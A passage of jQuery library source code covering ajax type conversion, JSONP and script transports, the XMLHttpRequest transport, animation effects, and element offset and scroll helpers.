		length = dataTypes.length,
		tmp,
		// Current and previous dataTypes
		current = dataTypes[ 0 ],
		prev,
		// Conversion expression
		conversion,
		// Conversion function
		conv,
		// Conversion functions (transitive conversion)
		conv1,
		conv2;
	// For each dataType in the chain
	for( i = 1; i < length; i++ ) {
		// Create converters map
		// with lowercased keys
		if ( i === 1 ) {
			for( key in s.converters ) {
				if( typeof key === "string" ) {
					converters[ key.toLowerCase() ] = s.converters[ key ];
				}
			}
		}
		// Get the dataTypes
		prev = current;
		current = dataTypes[ i ];
		// If current is auto dataType, update it to prev
		if( current === "*" ) {
			current = prev;
		// If no auto and dataTypes are actually different
		} else if ( prev !== "*" && prev !== current ) {
			// Get the converter
			conversion = prev + " " + current;
			conv = converters[ conversion ] || converters[ "* " + current ];
			// If there is no direct converter, search transitively
			if ( !conv ) {
				conv2 = undefined;
				for( conv1 in converters ) {
					tmp = conv1.split( " " );
					if ( tmp[ 0 ] === prev || tmp[ 0 ] === "*" ) {
						conv2 = converters[ tmp[1] + " " + current ];
						if ( conv2 ) {
							conv1 = converters[ conv1 ];
							if ( conv1 === true ) {
								conv = conv2;
							} else if ( conv2 === true ) {
								conv = conv1;
							}
							break;
						}
					}
				}
			}
			// If we found no converter, dispatch an error
			if ( !( conv || conv2 ) ) {
				jQuery.error( "No conversion from " + conversion.replace(" "," to ") );
			}
			// If found converter is not an equivalence
			if ( conv !== true ) {
				// Convert with 1 or 2 converters accordingly
				response = conv ? conv( response ) : conv2( conv1(response) );
			}
		}
	}
	return response;
}
var jsc = jQuery.now(),
	jsre = /(\=)\?(&|$)|\?\?/i;
// Default jsonp settings
jQuery.ajaxSetup({
	jsonp: "callback",
	jsonpCallback: function() {
		return jQuery.expando + "_" + ( jsc++ );
	}
});
// Detect, normalize options and install callbacks for jsonp requests
jQuery.ajaxPrefilter( "json jsonp", function( s, originalSettings, jqXHR ) {
	var dataIsString = ( typeof s.data === "string" );
	if ( s.dataTypes[ 0 ] === "jsonp" ||
		originalSettings.jsonpCallback ||
		originalSettings.jsonp != null ||
		s.jsonp !== false && ( jsre.test( s.url ) ||
				dataIsString && jsre.test( s.data ) ) ) {
		var responseContainer,
			jsonpCallback = s.jsonpCallback =
				jQuery.isFunction( s.jsonpCallback ) ? s.jsonpCallback() : s.jsonpCallback,
			previous = window[ jsonpCallback ],
			url = s.url,
			data = s.data,
			replace = "$1" + jsonpCallback + "$2",
			cleanUp = function() {
				// Set callback back to previous value
				window[ jsonpCallback ] = previous;
				// Call if it was a function and we have a response
				if ( responseContainer && jQuery.isFunction( previous ) ) {
					window[ jsonpCallback ]( responseContainer[ 0 ] );
				}
			};
		if ( s.jsonp !== false ) {
			url = url.replace( jsre, replace );
			if ( s.url === url ) {
				if ( dataIsString ) {
					data = data.replace( jsre, replace );
				}
				if ( s.data === data ) {
					// Add callback manually
					url += (/\?/.test( url ) ? "&" : "?") + s.jsonp + "=" + jsonpCallback;
				}
			}
		}
		s.url = url;
		s.data = data;
		// Install callback
		window[ jsonpCallback ] = function( response ) {
			responseContainer = [ response ];
		};
		// Install cleanUp function
		jqXHR.then( cleanUp, cleanUp );
		// Use data converter to retrieve json after script execution
		s.converters["script json"] = function() {
			if ( !responseContainer ) {
				jQuery.error( jsonpCallback + " was not called" );
			}
			return responseContainer[ 0 ];
		};
		// force json dataType
		s.dataTypes[ 0 ] = "json";
		// Delegate to script
		return "script";
	}
} );
// Install script dataType
jQuery.ajaxSetup({
	accepts: {
		script: "text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"
	},
	contents: {
		script: /javascript|ecmascript/
	},
	converters: {
		"text script": function( text ) {
			jQuery.globalEval( text );
			return text;
		}
	}
});
// Handle cache's special case and global
jQuery.ajaxPrefilter( "script", function( s ) {
	if ( s.cache === undefined ) {
		s.cache = false;
	}
	if ( s.crossDomain ) {
		s.type = "GET";
		s.global = false;
	}
} );
// Bind script tag hack transport
jQuery.ajaxTransport( "script", function(s) {
	// This transport only deals with cross domain requests
	if ( s.crossDomain ) {
		var script,
			head = document.head || document.getElementsByTagName( "head" )[0] || document.documentElement;
		return {
			send: function( _, callback ) {
				script = document.createElement( "script" );
				script.async = "async";
				if ( s.scriptCharset ) {
					script.charset = s.scriptCharset;
				}
				script.src = s.url;
				// Attach handlers for all browsers
				script.onload = script.onreadystatechange = function( _, isAbort ) {
					if ( !script.readyState || /loaded|complete/.test( script.readyState ) ) {
						// Handle memory leak in IE
						script.onload = script.onreadystatechange = null;
						// Remove the script
						if ( head && script.parentNode ) {
							head.removeChild( script );
						}
						// Dereference the script
						script = undefined;
						// Callback if not abort
						if ( !isAbort ) {
							callback( 200, "success" );
						}
					}
				};
				// Use insertBefore instead of appendChild  to circumvent an IE6 bug.
				// This arises when a base node is used (#2709 and #4378).
				head.insertBefore( script, head.firstChild );
			},
			abort: function() {
				if ( script ) {
					script.onload( 0, 1 );
				}
			}
		};
	}
} );
var // #5280: next active xhr id and list of active xhrs' callbacks
	xhrId = jQuery.now(),
	xhrCallbacks,
	// XHR used to determine supports properties
	testXHR;
// #5280: Internet Explorer will keep connections alive if we don't abort on unload
function xhrOnUnloadAbort() {
	jQuery( window ).unload(function() {
		// Abort all pending requests
		for ( var key in xhrCallbacks ) {
			xhrCallbacks[ key ]( 0, 1 );
		}
	});
}
// Functions to create xhrs
function createStandardXHR() {
	try {
		return new window.XMLHttpRequest();
	} catch( e ) {}
}
function createActiveXHR() {
	try {
		return new window.ActiveXObject( "Microsoft.XMLHTTP" );
	} catch( e ) {}
}
// Create the request object
// (This is still attached to ajaxSettings for backward compatibility)
jQuery.ajaxSettings.xhr = window.ActiveXObject ?
	/* Microsoft failed to properly
	 * implement the XMLHttpRequest in IE7 (can't request local files),
	 * so we use the ActiveXObject when it is available
	 * Additionally XMLHttpRequest can be disabled in IE7/IE8 so
	 * we need a fallback.
	 */
	function() {
		return !this.isLocal && createStandardXHR() || createActiveXHR();
	} :
	// For all other browsers, use the standard XMLHttpRequest object
	createStandardXHR;
// Test if we can create an xhr object
testXHR = jQuery.ajaxSettings.xhr();
jQuery.support.ajax = !!testXHR;
// Does this browser support crossDomain XHR requests
jQuery.support.cors = testXHR && ( "withCredentials" in testXHR );
// No need for the temporary xhr anymore
testXHR = undefined;
// Create transport if the browser can provide an xhr
if ( jQuery.support.ajax ) {
	jQuery.ajaxTransport(function( s ) {
		// Cross domain only allowed if supported through XMLHttpRequest
		if ( !s.crossDomain || jQuery.support.cors ) {
			var callback;
			return {
				send: function( headers, complete ) {
					// Get a new xhr
					var xhr = s.xhr(),
						handle,
						i;
					// Open the socket
					// Passing null username, generates a login popup on Opera (#2865)
					if ( s.username ) {
						xhr.open( s.type, s.url, s.async, s.username, s.password );
					} else {
						xhr.open( s.type, s.url, s.async );
					}
					// Apply custom fields if provided
					if ( s.xhrFields ) {
						for ( i in s.xhrFields ) {
							xhr[ i ] = s.xhrFields[ i ];
						}
					}
					// Override mime type if needed
					if ( s.mimeType && xhr.overrideMimeType ) {
						xhr.overrideMimeType( s.mimeType );
					}
					// X-Requested-With header
					// For cross-domain requests, seeing as conditions for a preflight are
					// akin to a jigsaw puzzle, we simply never set it to be sure.
					// (it can always be set on a per-request basis or even using ajaxSetup)
					// For same-domain requests, won't change header if already provided.
					if ( !s.crossDomain && !headers["X-Requested-With"] ) {
						headers[ "X-Requested-With" ] = "XMLHttpRequest";
					}
					// Need an extra try/catch for cross domain requests in Firefox 3
					try {
						for ( i in headers ) {
							xhr.setRequestHeader( i, headers[ i ] );
						}
					} catch( _ ) {}
					// Do send the request
					// This may raise an exception which is actually
					// handled in jQuery.ajax (so no try/catch here)
					xhr.send( ( s.hasContent && s.data ) || null );
					// Listener
					callback = function( _, isAbort ) {
						var status,
							statusText,
							responseHeaders,
							responses,
							xml;
						// Firefox throws exceptions when accessing properties
						// of an xhr when a network error occured
						// http://helpful.knobs-dials.com/index.php/Component_returned_failure_code:_0x80040111_(NS_ERROR_NOT_AVAILABLE)
						try {
							// Was never called and is aborted or complete
							if ( callback && ( isAbort || xhr.readyState === 4 ) ) {
								// Only called once
								callback = undefined;
								// Do not keep as active anymore
								if ( handle ) {
									xhr.onreadystatechange = jQuery.noop;
									delete xhrCallbacks[ handle ];
								}
								// If it's an abort
								if ( isAbort ) {
									// Abort it manually if needed
									if ( xhr.readyState !== 4 ) {
										xhr.abort();
									}
								} else {
									status = xhr.status;
									responseHeaders = xhr.getAllResponseHeaders();
									responses = {};
									xml = xhr.responseXML;
									// Construct response list
									if ( xml && xml.documentElement /* #4958 */ ) {
										responses.xml = xml;
									}
									responses.text = xhr.responseText;
									// Firefox throws an exception when accessing
									// statusText for faulty cross-domain requests
									try {
										statusText = xhr.statusText;
									} catch( e ) {
										// We normalize with Webkit giving an empty statusText
										statusText = "";
									}
									// Filter status for non standard behaviors
									// If the request is local and we have data: assume a success
									// (success with no data won't get notified, that's the best we
									// can do given current implementations)
									if ( !status && s.isLocal && !s.crossDomain ) {
										status = responses.text ? 200 : 404;
									// IE - #1450: sometimes returns 1223 when it should be 204
									} else if ( status === 1223 ) {
										status = 204;
									}
								}
							}
						} catch( firefoxAccessException ) {
							if ( !isAbort ) {
								complete( -1, firefoxAccessException );
							}
						}
						// Call complete if needed
						if ( responses ) {
							complete( status, statusText, responses, responseHeaders );
						}
					};
					// if we're in sync mode or it's in cache
					// and has been retrieved directly (IE6 & IE7)
					// we need to manually fire the callback
					if ( !s.async || xhr.readyState === 4 ) {
						callback();
					} else {
						// Create the active xhrs callbacks list if needed
						// and attach the unload handler
						if ( !xhrCallbacks ) {
							xhrCallbacks = {};
							xhrOnUnloadAbort();
						}
						// Add to list of active xhrs callbacks
						handle = xhrId++;
						xhr.onreadystatechange = xhrCallbacks[ handle ] = callback;
					}
				},
				abort: function() {
					if ( callback ) {
						callback(0,1);
					}
				}
			};
		}
	});
}
var elemdisplay = {},
	rfxtypes = /^(?:toggle|show|hide)$/,
	rfxnum = /^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,
	timerId,
	fxAttrs = [
		// height animations
		[ "height", "marginTop", "marginBottom", "paddingTop", "paddingBottom" ],
		// width animations
		[ "width", "marginLeft", "marginRight", "paddingLeft", "paddingRight" ],
		// opacity animations
		[ "opacity" ]
	];
jQuery.fn.extend({
	show: function( speed, easing, callback ) {
		var elem, display;
		if ( speed || speed === 0 ) {
			return this.animate( genFx("show", 3), speed, easing, callback);
		} else {
			for ( var i = 0, j = this.length; i < j; i++ ) {
				elem = this[i];
				display = elem.style.display;
				// Reset the inline display of this element to learn if it is
				// being hidden by cascaded rules or not
				if ( !jQuery._data(elem, "olddisplay") && display === "none" ) {
					display = elem.style.display = "";
				}
				// Set elements which have been overridden with display: none
				// in a stylesheet to whatever the default browser style is
				// for such an element
				if ( display === "" && jQuery.css( elem, "display" ) === "none" ) {
					jQuery._data(elem, "olddisplay", defaultDisplay(elem.nodeName));
				}
			}
			// Set the display of most of the elements in a second loop
			// to avoid the constant reflow
			for ( i = 0; i < j; i++ ) {
				elem = this[i];
				display = elem.style.display;
				if ( display === "" || display === "none" ) {
					elem.style.display = jQuery._data(elem, "olddisplay") || "";
				}
			}
			return this;
		}
	},
	hide: function( speed, easing, callback ) {
		if ( speed || speed === 0 ) {
			return this.animate( genFx("hide", 3), speed, easing, callback);
		} else {
			for ( var i = 0, j = this.length; i < j; i++ ) {
				var display = jQuery.css( this[i], "display" );
				if ( display !== "none" && !jQuery._data( this[i], "olddisplay" ) ) {
					jQuery._data( this[i], "olddisplay", display );
				}
			}
			// Set the display of the elements in a second loop
			// to avoid the constant reflow
			for ( i = 0; i < j; i++ ) {
				this[i].style.display = "none";
			}
			return this;
		}
	},
	// Save the old toggle function
	_toggle: jQuery.fn.toggle,
	toggle: function( fn, fn2, callback ) {
		var bool = typeof fn === "boolean";
		if ( jQuery.isFunction(fn) && jQuery.isFunction(fn2) ) {
			this._toggle.apply( this, arguments );
		} else if ( fn == null || bool ) {
			this.each(function() {
				var state = bool ? fn : jQuery(this).is(":hidden");
				jQuery(this)[ state ? "show" : "hide" ]();
			});
		} else {
			this.animate(genFx("toggle", 3), fn, fn2, callback);
		}
		return this;
	},
	fadeTo: function( speed, to, easing, callback ) {
		return this.filter(":hidden").css("opacity", 0).show().end()
					.animate({opacity: to}, speed, easing, callback);
	},
	animate: function( prop, speed, easing, callback ) {
		var optall = jQuery.speed(speed, easing, callback);
		if ( jQuery.isEmptyObject( prop ) ) {
			return this.each( optall.complete );
		}
		return this[ optall.queue === false ? "each" : "queue" ](function() {
			// XXX 'this' does not always have a nodeName when running the
			// test suite
			var opt = jQuery.extend({}, optall), p,
				isElement = this.nodeType === 1,
				hidden = isElement && jQuery(this).is(":hidden"),
				self = this;
			for ( p in prop ) {
				var name = jQuery.camelCase( p );
				if ( p !== name ) {
					prop[ name ] = prop[ p ];
					delete prop[ p ];
					p = name;
				}
				if ( prop[p] === "hide" && hidden || prop[p] === "show" && !hidden ) {
					return opt.complete.call(this);
				}
				if ( isElement && ( p === "height" || p === "width" ) ) {
					// Make sure that nothing sneaks out
					// Record all 3 overflow attributes because IE does not
					// change the overflow attribute when overflowX and
					// overflowY are set to the same value
					opt.overflow = [ this.style.overflow, this.style.overflowX, this.style.overflowY ];
					// Set display property to inline-block for height/width
					// animations on inline elements that are having width/height
					// animated
					if ( jQuery.css( this, "display" ) === "inline" &&
							jQuery.css( this, "float" ) === "none" ) {
						if ( !jQuery.support.inlineBlockNeedsLayout ) {
							this.style.display = "inline-block";
						} else {
							var display = defaultDisplay(this.nodeName);
							// inline-level elements accept inline-block;
							// block-level elements need to be inline with layout
							if ( display === "inline" ) {
								this.style.display = "inline-block";
							} else {
								this.style.display = "inline";
								this.style.zoom = 1;
							}
						}
					}
				}
				if ( jQuery.isArray( prop[p] ) ) {
					// Create (if needed) and add to specialEasing
					(opt.specialEasing = opt.specialEasing || {})[p] = prop[p][1];
					prop[p] = prop[p][0];
				}
			}
			if ( opt.overflow != null ) {
				this.style.overflow = "hidden";
			}
			opt.curAnim = jQuery.extend({}, prop);
			jQuery.each( prop, function( name, val ) {
				var e = new jQuery.fx( self, opt, name );
				if ( rfxtypes.test(val) ) {
					e[ val === "toggle" ? hidden ? "show" : "hide" : val ]( prop );
				} else {
					var parts = rfxnum.exec(val),
						start = e.cur();
					if ( parts ) {
						var end = parseFloat( parts[2] ),
							unit = parts[3] || ( jQuery.cssNumber[ name ] ? "" : "px" );
						// We need to compute starting value
						if ( unit !== "px" ) {
							jQuery.style( self, name, (end || 1) + unit);
							start = ((end || 1) / e.cur()) * start;
							jQuery.style( self, name, start + unit);
						}
						// If a +=/-= token was provided, we're doing a relative animation
						if ( parts[1] ) {
							end = ((parts[1] === "-=" ? -1 : 1) * end) + start;
						}
						e.custom( start, end, unit );
					} else {
						e.custom( start, val, "" );
					}
				}
			});
			// For JS strict compliance
			return true;
		});
	},
	stop: function( clearQueue, gotoEnd ) {
		var timers = jQuery.timers;
		if ( clearQueue ) {
			this.queue([]);
		}
		this.each(function() {
			// go in reverse order so anything added to the queue during the loop is ignored
			for ( var i = timers.length - 1; i >= 0; i-- ) {
				if ( timers[i].elem === this ) {
					if (gotoEnd) {
						// force the next step to be the last
						timers[i](true);
					}
					timers.splice(i, 1);
				}
			}
		});
		// start the next in the queue if the last step wasn't forced
		if ( !gotoEnd ) {
			this.dequeue();
		}
		return this;
	}
});
function genFx( type, num ) {
	var obj = {};
	jQuery.each( fxAttrs.concat.apply([], fxAttrs.slice(0,num)), function() {
		obj[ this ] = type;
	});
	return obj;
}
// Generate shortcuts for custom animations
jQuery.each({
	slideDown: genFx("show", 1),
	slideUp: genFx("hide", 1),
	slideToggle: genFx("toggle", 1),
	fadeIn: { opacity: "show" },
	fadeOut: { opacity: "hide" },
	fadeToggle: { opacity: "toggle" }
}, function( name, props ) {
	jQuery.fn[ name ] = function( speed, easing, callback ) {
		return this.animate( props, speed, easing, callback );
	};
});
jQuery.extend({
	speed: function( speed, easing, fn ) {
		var opt = speed && typeof speed === "object" ? jQuery.extend({}, speed) : {
			complete: fn || !fn && easing ||
				jQuery.isFunction( speed ) && speed,
			duration: speed,
			easing: fn && easing || easing && !jQuery.isFunction(easing) && easing
		};
		opt.duration = jQuery.fx.off ? 0 : typeof opt.duration === "number" ? opt.duration :
			opt.duration in jQuery.fx.speeds ? jQuery.fx.speeds[opt.duration] : jQuery.fx.speeds._default;
		// Queueing
		opt.old = opt.complete;
		opt.complete = function() {
			if ( opt.queue !== false ) {
				jQuery(this).dequeue();
			}
			if ( jQuery.isFunction( opt.old ) ) {
				opt.old.call( this );
			}
		};
		return opt;
	},
	easing: {
		linear: function( p, n, firstNum, diff ) {
			return firstNum + diff * p;
		},
		swing: function( p, n, firstNum, diff ) {
			return ((-Math.cos(p*Math.PI)/2) + 0.5) * diff + firstNum;
		}
	},
	timers: [],
	fx: function( elem, options, prop ) {
		this.options = options;
		this.elem = elem;
		this.prop = prop;
		if ( !options.orig ) {
			options.orig = {};
		}
	}
});
jQuery.fx.prototype = {
	// Simple function for setting a style value
	update: function() {
		if ( this.options.step ) {
			this.options.step.call( this.elem, this.now, this );
		}
		(jQuery.fx.step[this.prop] || jQuery.fx.step._default)( this );
	},
	// Get the current size
	cur: function() {
		if ( this.elem[this.prop] != null && (!this.elem.style || this.elem.style[this.prop] == null) ) {
			return this.elem[ this.prop ];
		}
		var parsed,
			r = jQuery.css( this.elem, this.prop );
		// Empty strings, null, undefined and "auto" are converted to 0,
		// complex values such as "rotate(1rad)" are returned as is,
		// simple values such as "10px" are parsed to Float.
		return isNaN( parsed = parseFloat( r ) ) ? !r || r === "auto" ? 0 : r : parsed;
	},
	// Start an animation from one number to another
	custom: function( from, to, unit ) {
		var self = this,
			fx = jQuery.fx;
		this.startTime = jQuery.now();
		this.start = from;
		this.end = to;
		this.unit = unit || this.unit || ( jQuery.cssNumber[ this.prop ] ? "" : "px" );
		this.now = this.start;
		this.pos = this.state = 0;
		function t( gotoEnd ) {
			return self.step(gotoEnd);
		}
		t.elem = this.elem;
		if ( t() && jQuery.timers.push(t) && !timerId ) {
			timerId = setInterval(fx.tick, fx.interval);
		}
	},
	// Simple 'show' function
	show: function() {
		// Remember where we started, so that we can go back to it later
		this.options.orig[this.prop] = jQuery.style( this.elem, this.prop );
		this.options.show = true;
		// Begin the animation
		// Make sure that we start at a small width/height to avoid any
		// flash of content
		this.custom(this.prop === "width" || this.prop === "height" ? 1 : 0, this.cur());
		// Start by showing the element
		jQuery( this.elem ).show();
	},
	// Simple 'hide' function
	hide: function() {
		// Remember where we started, so that we can go back to it later
		this.options.orig[this.prop] = jQuery.style( this.elem, this.prop );
		this.options.hide = true;
		// Begin the animation
		this.custom(this.cur(), 0);
	},
	// Each step of an animation
	step: function( gotoEnd ) {
		var t = jQuery.now(), done = true;
		if ( gotoEnd || t >= this.options.duration + this.startTime ) {
			this.now = this.end;
			this.pos = this.state = 1;
			this.update();
			this.options.curAnim[ this.prop ] = true;
			for ( var i in this.options.curAnim ) {
				if ( this.options.curAnim[i] !== true ) {
					done = false;
				}
			}
			if ( done ) {
				// Reset the overflow
				if ( this.options.overflow != null && !jQuery.support.shrinkWrapBlocks ) {
					var elem = this.elem,
						options = this.options;
					jQuery.each( [ "", "X", "Y" ], function (index, value) {
						elem.style[ "overflow" + value ] = options.overflow[index];
					} );
				}
				// Hide the element if the "hide" operation was done
				if ( this.options.hide ) {
					jQuery(this.elem).hide();
				}
				// Reset the properties, if the item has been hidden or shown
				if ( this.options.hide || this.options.show ) {
					for ( var p in this.options.curAnim ) {
						jQuery.style( this.elem, p, this.options.orig[p] );
					}
				}
				// Execute the complete function
				this.options.complete.call( this.elem );
			}
			return false;
		} else {
			var n = t - this.startTime;
			this.state = n / this.options.duration;
			// Perform the easing function, defaults to swing
			var specialEasing = this.options.specialEasing && this.options.specialEasing[this.prop];
			var defaultEasing = this.options.easing || (jQuery.easing.swing ? "swing" : "linear");
			this.pos = jQuery.easing[specialEasing || defaultEasing](this.state, n, 0, 1, this.options.duration);
			this.now = this.start + ((this.end - this.start) * this.pos);
			// Perform the next step of the animation
			this.update();
		}
		return true;
	}
};
jQuery.extend( jQuery.fx, {
	tick: function() {
		var timers = jQuery.timers;
		for ( var i = 0; i < timers.length; i++ ) {
			if ( !timers[i]() ) {
				timers.splice(i--, 1);
			}
		}
		if ( !timers.length ) {
			jQuery.fx.stop();
		}
	},
	interval: 13,
	stop: function() {
		clearInterval( timerId );
		timerId = null;
	},
	speeds: {
		slow: 600,
		fast: 200,
		// Default speed
		_default: 400
	},
	step: {
		opacity: function( fx ) {
			jQuery.style( fx.elem, "opacity", fx.now );
		},
		_default: function( fx ) {
			if ( fx.elem.style && fx.elem.style[ fx.prop ] != null ) {
				fx.elem.style[ fx.prop ] = (fx.prop === "width" || fx.prop === "height" ? Math.max(0, fx.now) : fx.now) + fx.unit;
			} else {
				fx.elem[ fx.prop ] = fx.now;
			}
		}
	}
});
if ( jQuery.expr && jQuery.expr.filters ) {
	jQuery.expr.filters.animated = function( elem ) {
		return jQuery.grep(jQuery.timers, function( fn ) {
			return elem === fn.elem;
		}).length;
	};
}
function defaultDisplay( nodeName ) {
	if ( !elemdisplay[ nodeName ] ) {
		var elem = jQuery("<" + nodeName + ">").appendTo("body"),
			display = elem.css("display");
		elem.remove();
		if ( display === "none" || display === "" ) {
			display = "block";
		}
		elemdisplay[ nodeName ] = display;
	}
	return elemdisplay[ nodeName ];
}
var rtable = /^t(?:able|d|h)$/i,
	rroot = /^(?:body|html)$/i;
if ( "getBoundingClientRect" in document.documentElement ) {
	jQuery.fn.offset = function( options ) {
		var elem = this[0], box;
		if ( options ) {
			return this.each(function( i ) {
				jQuery.offset.setOffset( this, options, i );
			});
		}
		if ( !elem || !elem.ownerDocument ) {
			return null;
		}
		if ( elem === elem.ownerDocument.body ) {
			return jQuery.offset.bodyOffset( elem );
		}
		try {
			box = elem.getBoundingClientRect();
		} catch(e) {}
		var doc = elem.ownerDocument,
			docElem = doc.documentElement;
		// Make sure we're not dealing with a disconnected DOM node
		if ( !box || !jQuery.contains( docElem, elem ) ) {
			return box ? { top: box.top, left: box.left } : { top: 0, left: 0 };
		}
		var body = doc.body,
			win = getWindow(doc),
			clientTop  = docElem.clientTop  || body.clientTop  || 0,
			clientLeft = docElem.clientLeft || body.clientLeft || 0,
			scrollTop  = win.pageYOffset || jQuery.support.boxModel && docElem.scrollTop  || body.scrollTop,
			scrollLeft = win.pageXOffset || jQuery.support.boxModel && docElem.scrollLeft || body.scrollLeft,
			top  = box.top  + scrollTop  - clientTop,
			left = box.left + scrollLeft - clientLeft;
		return { top: top, left: left };
	};
} else {
	jQuery.fn.offset = function( options ) {
		var elem = this[0];
		if ( options ) {
			return this.each(function( i ) {
				jQuery.offset.setOffset( this, options, i );
			});
		}
		if ( !elem || !elem.ownerDocument ) {
			return null;
		}
		if ( elem === elem.ownerDocument.body ) {
			return jQuery.offset.bodyOffset( elem );
		}
		jQuery.offset.initialize();
		var computedStyle,
			offsetParent = elem.offsetParent,
			prevOffsetParent = elem,
			doc = elem.ownerDocument,
			docElem = doc.documentElement,
			body = doc.body,
			defaultView = doc.defaultView,
			prevComputedStyle = defaultView ? defaultView.getComputedStyle( elem, null ) : elem.currentStyle,
			top = elem.offsetTop,
			left = elem.offsetLeft;
		while ( (elem = elem.parentNode) && elem !== body && elem !== docElem ) {
			if ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === "fixed" ) {
				break;
			}
			computedStyle = defaultView ? defaultView.getComputedStyle(elem, null) : elem.currentStyle;
			top  -= elem.scrollTop;
			left -= elem.scrollLeft;
			if ( elem === offsetParent ) {
				top  += elem.offsetTop;
				left += elem.offsetLeft;
				if ( jQuery.offset.doesNotAddBorder && !(jQuery.offset.doesAddBorderForTableAndCells && rtable.test(elem.nodeName)) ) {
					top  += parseFloat( computedStyle.borderTopWidth  ) || 0;
					left += parseFloat( computedStyle.borderLeftWidth ) || 0;
				}
				prevOffsetParent = offsetParent;
				offsetParent = elem.offsetParent;
			}
			if ( jQuery.offset.subtractsBorderForOverflowNotVisible && computedStyle.overflow !== "visible" ) {
				top  += parseFloat( computedStyle.borderTopWidth  ) || 0;
				left += parseFloat( computedStyle.borderLeftWidth ) || 0;
			}
			prevComputedStyle = computedStyle;
		}
		if ( prevComputedStyle.position === "relative" || prevComputedStyle.position === "static" ) {
			top  += body.offsetTop;
			left += body.offsetLeft;
		}
		if ( jQuery.offset.supportsFixedPosition && prevComputedStyle.position === "fixed" ) {
			top  += Math.max( docElem.scrollTop, body.scrollTop );
			left += Math.max( docElem.scrollLeft, body.scrollLeft );
		}
		return { top: top, left: left };
	};
}
jQuery.offset = {
	initialize: function() {
		var body = document.body, container = document.createElement("div"), innerDiv, checkDiv, table, td, bodyMarginTop = parseFloat( jQuery.css(body, "marginTop") ) || 0,
			html = "<div style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;'><div></div></div><table style='position:absolute;top:0;left:0;margin:0;border:5px solid #000;padding:0;width:1px;height:1px;' cellpadding='0' cellspacing='0'><tr><td></td></tr></table>";
		jQuery.extend( container.style, { position: "absolute", top: 0, left: 0, margin: 0, border: 0, width: "1px", height: "1px", visibility: "hidden" } );
		container.innerHTML = html;
		body.insertBefore( container, body.firstChild );
		innerDiv = container.firstChild;
		checkDiv = innerDiv.firstChild;
		td = innerDiv.nextSibling.firstChild.firstChild;
		this.doesNotAddBorder = (checkDiv.offsetTop !== 5);
		this.doesAddBorderForTableAndCells = (td.offsetTop === 5);
		checkDiv.style.position = "fixed";
		checkDiv.style.top = "20px";
		// safari subtracts parent border width here which is 5px
		this.supportsFixedPosition = (checkDiv.offsetTop === 20 || checkDiv.offsetTop === 15);
		checkDiv.style.position = checkDiv.style.top = "";
		innerDiv.style.overflow = "hidden";
		innerDiv.style.position = "relative";
		this.subtractsBorderForOverflowNotVisible = (checkDiv.offsetTop === -5);
		this.doesNotIncludeMarginInBodyOffset = (body.offsetTop !== bodyMarginTop);
		body.removeChild( container );
		jQuery.offset.initialize = jQuery.noop;
	},
	bodyOffset: function( body ) {
		var top = body.offsetTop,
			left = body.offsetLeft;
		jQuery.offset.initialize();
		if ( jQuery.offset.doesNotIncludeMarginInBodyOffset ) {
			top  += parseFloat( jQuery.css(body, "marginTop") ) || 0;
			left += parseFloat( jQuery.css(body, "marginLeft") ) || 0;
		}
		return { top: top, left: left };
	},
	setOffset: function( elem, options, i ) {
		var position = jQuery.css( elem, "position" );
		// set position first, in-case top/left are set even on static elem
		if ( position === "static" ) {
			elem.style.position = "relative";
		}
		var curElem = jQuery( elem ),
			curOffset = curElem.offset(),
			curCSSTop = jQuery.css( elem, "top" ),
			curCSSLeft = jQuery.css( elem, "left" ),
			calculatePosition = (position === "absolute" || position === "fixed") && jQuery.inArray('auto', [curCSSTop, curCSSLeft]) > -1,
			props = {}, curPosition = {}, curTop, curLeft;
		// need to be able to calculate position if either top or left is auto and position is either absolute or fixed
		if ( calculatePosition ) {
			curPosition = curElem.position();
		}
		curTop  = calculatePosition ? curPosition.top  : parseInt( curCSSTop,  10 ) || 0;
		curLeft = calculatePosition ? curPosition.left : parseInt( curCSSLeft, 10 ) || 0;
		if ( jQuery.isFunction( options ) ) {
			options = options.call( elem, i, curOffset );
		}
		if (options.top != null) {
			props.top = (options.top - curOffset.top) + curTop;
		}
		if (options.left != null) {
			props.left = (options.left - curOffset.left) + curLeft;
		}
		if ( "using" in options ) {
			options.using.call( elem, props );
		} else {
			curElem.css( props );
		}
	}
};
jQuery.fn.extend({
	position: function() {
		if ( !this[0] ) {
			return null;
		}
		var elem = this[0],
		// Get *real* offsetParent
		offsetParent = this.offsetParent(),
		// Get correct offsets
		offset       = this.offset(),
		parentOffset = rroot.test(offsetParent[0].nodeName) ? { top: 0, left: 0 } : offsetParent.offset();
		// Subtract element margins
		// note: when an element has margin: auto the offsetLeft and marginLeft
		// are the same in Safari causing offset.left to incorrectly be 0
		offset.top  -= parseFloat( jQuery.css(elem, "marginTop") ) || 0;
		offset.left -= parseFloat( jQuery.css(elem, "marginLeft") ) || 0;
		// Add offsetParent borders
		parentOffset.top  += parseFloat( jQuery.css(offsetParent[0], "borderTopWidth") ) || 0;
		parentOffset.left += parseFloat( jQuery.css(offsetParent[0], "borderLeftWidth") ) || 0;
		// Subtract the two offsets
		return {
			top:  offset.top  - parentOffset.top,
			left: offset.left - parentOffset.left
		};
	},
	offsetParent: function() {
		return this.map(function() {
			var offsetParent = this.offsetParent || document.body;
			while ( offsetParent && (!rroot.test(offsetParent.nodeName) && jQuery.css(offsetParent, "position") === "static") ) {
				offsetParent = offsetParent.offsetParent;
			}
			return offsetParent;
		});
	}
});
// Create scrollLeft and scrollTop methods
jQuery.each( ["Left", "Top"], function( i, name ) {
	var method = "scroll" + name;
	jQuery.fn[ method ] = function(val) {
		var elem = this[0], win;
		if ( !elem ) {
			return null;
		}
		if ( val !== undefined ) {
			// Set the scroll offset
			return this.each(function() {
				win = getWindow( this );
				if ( win ) {
					win.scrollTo(
						!i ? val : jQuery(win).scrollLeft(),
						i ? val : jQuery(win).scrollTop()
					);
				} else {
					this[ method ] = val;
				}
			});
		} else {
			win = getWindow( elem );
			// Return the scroll offset
			return win ? ("pageXOffset" in win) ? win[ i ? "pageYOffset" : "pageXOffset" ] :
				jQuery.support.boxModel && win.document.documentElement[ method ] ||
					win.document.body[ method ] :
				elem[ method ];
		}
	};
});
function getWindow( elem ) {
	return jQuery.isWindow( elem ) ?
		elem :
		elem.nodeType === 9 ?
			elem.defaultView || elem.parentWindow :
			false;
}
// Create innerHeight, innerWidth, outerHeight and outerWidth methods
